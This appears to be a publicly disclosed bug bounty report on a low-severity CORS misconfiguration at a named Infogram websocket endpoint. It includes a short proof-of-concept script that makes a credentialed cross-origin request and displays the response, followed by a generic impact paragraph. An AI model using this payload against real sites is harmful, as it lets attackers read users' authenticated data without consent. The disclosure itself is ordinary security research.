Infogram · Report #372452

CORS on (ws.infogram.com)

Validstatus

lowseverity

11upvotes

8 Oct 2018disclosed

Summary

It was the 2nd report of my life! Memories <3

How it was found

Hey Team i don't know if it's valid or not i just want to let you know about this thanks.

Exploit

<html> <script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://ws.infogram.com/socket.io/?EIO=3&transport=polling&t=MH7BU79',true); req.withCredentials = true; req.send('{}'); function reqListener() { alert(this.responseText); }; </script> </html>

Impact

As with superpowers, it’s all about knowing how to use it. Therefore, CORS is not necessarily a bad thing. We’ve seen in many cases that CORS has legitimate use, and this is why it was invented and made a web standard in the first place. However, you need to be aware of the CORS configuration you set up in your server and the side effects this has on security.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original